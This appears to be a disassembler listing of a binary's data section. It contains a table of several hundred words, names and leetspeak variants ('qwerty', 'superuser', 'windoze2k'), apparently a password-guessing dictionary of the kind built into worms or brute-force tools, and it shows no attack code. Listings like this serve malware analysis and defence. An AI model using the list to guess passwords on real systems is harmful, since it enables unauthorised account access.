		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning_0	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_1	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset byte_43C80C
		dd 0
dword_4313B4	dd 10h			; DATA XREF: sub_40BE75+72w
					; sub_40EE72+B6Er ...
aZimmerman	db 'zimmerman',0        ; DATA XREF: ___:004313A8o
		align 4
aZap		db 'zap',0              ; DATA XREF: ___:004313A4o
aYellowstone	db 'yellowstone',0      ; DATA XREF: ___:004313A0o
aXyz		db 'xyz',0              ; DATA XREF: ___:0043139Co
aWisconsin	db 'wisconsin',0        ; DATA XREF: ___:00431398o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: ___:00431394o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: ___:00431390o
		align 10h
aTty		db 'tty',0              ; DATA XREF: ___:0043138Co
aTopography	db 'topography',0       ; DATA XREF: ___:00431388o
		align 10h
aTemptation	db 'temptation',0       ; DATA XREF: ___:00431384o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: ___:00431380o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: ___:0043137Co
		align 4
aSys		db 'sys',0              ; DATA XREF: ___:00431378o
aSupported	db 'supported',0        ; DATA XREF: ___:00431374o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: ___:00431370o
		align 10h
aSuperstage	db 'superstage',0       ; DATA XREF: ___:0043136Co
		align 4
aSun		db 'sun',0              ; DATA XREF: ___:00431368o
aStuttgart	db 'stuttgart',0        ; DATA XREF: ___:00431364o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: ___:00431360o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: ___:0043135Co
		align 4
aSignature	db 'signature',0        ; DATA XREF: ___:00431358o
		align 10h
aSheffield	db 'sheffield',0        ; DATA XREF: ___:00431354o
		align 4
aSal		db 'sal',0              ; DATA XREF: ___:00431350o
aRochester	db 'rochester',0        ; DATA XREF: ___:0043134Co
		align 4
aRje		db 'rje',0              ; DATA XREF: ___:00431348o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: ___:00431344o
		align 10h
aPub		db 'pub',0              ; DATA XREF: ___:00431340o
aProfessor	db 'professor',0        ; DATA XREF: ___:0043133Co
		align 10h
aPrinceton	db 'princeton',0        ; DATA XREF: ___:00431338o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: ___:00431334o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: ___:00431330o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: ___:0043132Co
		align 10h
aPercolate	db 'percolate',0        ; DATA XREF: ___:00431328o
		align 4
aPam		db 'pam',0              ; DATA XREF: ___:00431324o
aPad		db 'pad',0              ; DATA XREF: ___:00431320o
aOceanography	db 'oceanography',0     ; DATA XREF: ___:0043131Co
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: ___:00431318o
		align 10h
aNew		db 'new',0              ; DATA XREF: ___:00431314o
aNet		db 'net',0              ; DATA XREF: ___:00431310o
aMit		db 'mit',0              ; DATA XREF: ___:0043130Co
aMgr		db 'mgr',0              ; DATA XREF: ___:00431308o
aMacintosh	db 'macintosh',0        ; DATA XREF: ___:00431304o
		align 4
aLiz		db 'liz',0              ; DATA XREF: ___:00431300o
aLee		db 'lee',0              ; DATA XREF: ___:004312FCo
aLamination	db 'lamination',0       ; DATA XREF: ___:004312F8o
		align 10h
aKim		db 'kim',0              ; DATA XREF: ___:004312F4o
aJoy		db 'joy',0              ; DATA XREF: ___:004312ECo
aJen		db 'jen',0              ; DATA XREF: ___:004312E8o
aInnocuous	db 'innocuous',0        ; DATA XREF: ___:004312E4o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: ___:004312E0o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:004312DCo
aHappening	db 'happening',0        ; DATA XREF: ___:004312D8o
		align 4
aHal		db 'hal',0              ; DATA XREF: ___:004312D4o
aGnu		db 'gnu',0              ; DATA XREF: ___:004312D0o
aFun		db 'fun',0              ; DATA XREF: ___:004312CCo
aForesight	db 'foresight',0        ; DATA XREF: ___:004312C8o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: ___:004312C4o
		align 4
aExtension	db 'extension',0        ; DATA XREF: ___:004312C0o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: ___:004312BCo
		align 10h
aEnterprise	db 'enterprise',0       ; DATA XREF: ___:004312B8o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: ___:004312B4o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: ___:004312B0o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: ___:004312ACo
		align 10h
aDos		db 'dos',0              ; DATA XREF: ___:004312A8o
aDog		db 'dog',0              ; DATA XREF: ___:004312A4o
aDiscovery	db 'discovery',0        ; DATA XREF: ___:004312A0o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: ___:0043129Co
		align 10h
aDeb		db 'deb',0              ; DATA XREF: ___:00431298o
aCornelius	db 'cornelius',0        ; DATA XREF: ___:00431294o
		align 10h
aCommrades	db 'commrades',0        ; DATA XREF: ___:00431290o
		align 4
aChristine	db 'christine',0        ; DATA XREF: ___:0043128Co
		align 4
aChristina	db 'christina',0        ; DATA XREF: ___:00431288o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: ___:00431284o
		align 10h
aCatherine	db 'catherine',0        ; DATA XREF: ___:00431280o
		align 4
aCat		db 'cat',0              ; DATA XREF: ___:0043127Co
aCampanile	db 'campanile',0        ; DATA XREF: ___:00431278o
		align 4
aCad		db 'cad',0              ; DATA XREF: ___:00431274o
aBsd		db 'bsd',0              ; DATA XREF: ___:00431270o
aBob		db 'bob',0              ; DATA XREF: ___:0043126Co
aBicameral	db 'bicameral',0        ; DATA XREF: ___:00431268o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: ___:00431264o
		align 10h
aAtmosphere	db 'atmosphere',0       ; DATA XREF: ___:00431260o
		align 4
aAsm		db 'asm',0              ; DATA XREF: ___:0043125Co
aAsd		db 'asd',0              ; DATA XREF: ___:00431258o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: ___:00431254o
		align 4
aAnn		db 'ann',0              ; DATA XREF: ___:00431250o
aAndromache	db 'andromache',0       ; DATA XREF: ___:0043124Co
		align 4
aAmy		db 'amy',0              ; DATA XREF: ___:00431248o
aAmorphous	db 'amorphous',0        ; DATA XREF: ___:00431244o
		align 4
aAma		db 'ama',0              ; DATA XREF: ___:00431240o
aAlf		db 'alf',0              ; DATA XREF: ___:0043123Co
aAlbatross	db 'albatross',0        ; DATA XREF: ___:00431238o
		align 4
aAda		db 'ada',0              ; DATA XREF: ___:00431234o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: ___:00431230o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: ___:0043122Co
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: ___:00431228o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: ___:00431224o
		align 4
aHax		db 'hax',0              ; DATA XREF: ___:00431220o
aWh0re		db 'wh0re',0            ; DATA XREF: ___:0043121Co
		align 10h
aHo		db 'ho',0               ; DATA XREF: ___:00431218o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: ___:00431214o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: ___:00431210o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: ___:0043120Co
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: ___:00431208o
		align 10h
aWindoze2k	db 'windoze2k',0        ; DATA XREF: ___:00431204o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: ___:00431200o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: ___:004311FCo
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: ___:004311F8o
		align 10h
aWindowsme	db 'windowsME',0        ; DATA XREF: ___:004311F4o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: ___:004311F0o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: ___:004311ECo
		align 4
aMs		db 'MS',0               ; DATA XREF: ___:004311E8o
		align 4
aM		db 'M$',0               ; DATA XREF: ___:004311E4o
		align 4
aBilly		db 'billy',0            ; DATA XREF: ___:004311E0o
		align 4
aWindose	db 'windose',0          ; DATA XREF: ___:004311DCo
aWindoze	db 'windoze',0          ; DATA XREF: ___:004311D8o
aWindowz	db 'windowz',0          ; DATA XREF: ___:004311D4o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: ___:004311D0o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: ___:004311CCo
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: ___:004311C8o
		align 10h
aAl3x		db 'Al3x',0             ; DATA XREF: ___:004311C4o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: ___:004311C0o
		align 10h
aDudette	db 'dudette',0          ; DATA XREF: ___:004311BCo
aD00d		db 'd00d',0             ; DATA XREF: ___:004311B8o
		align 10h
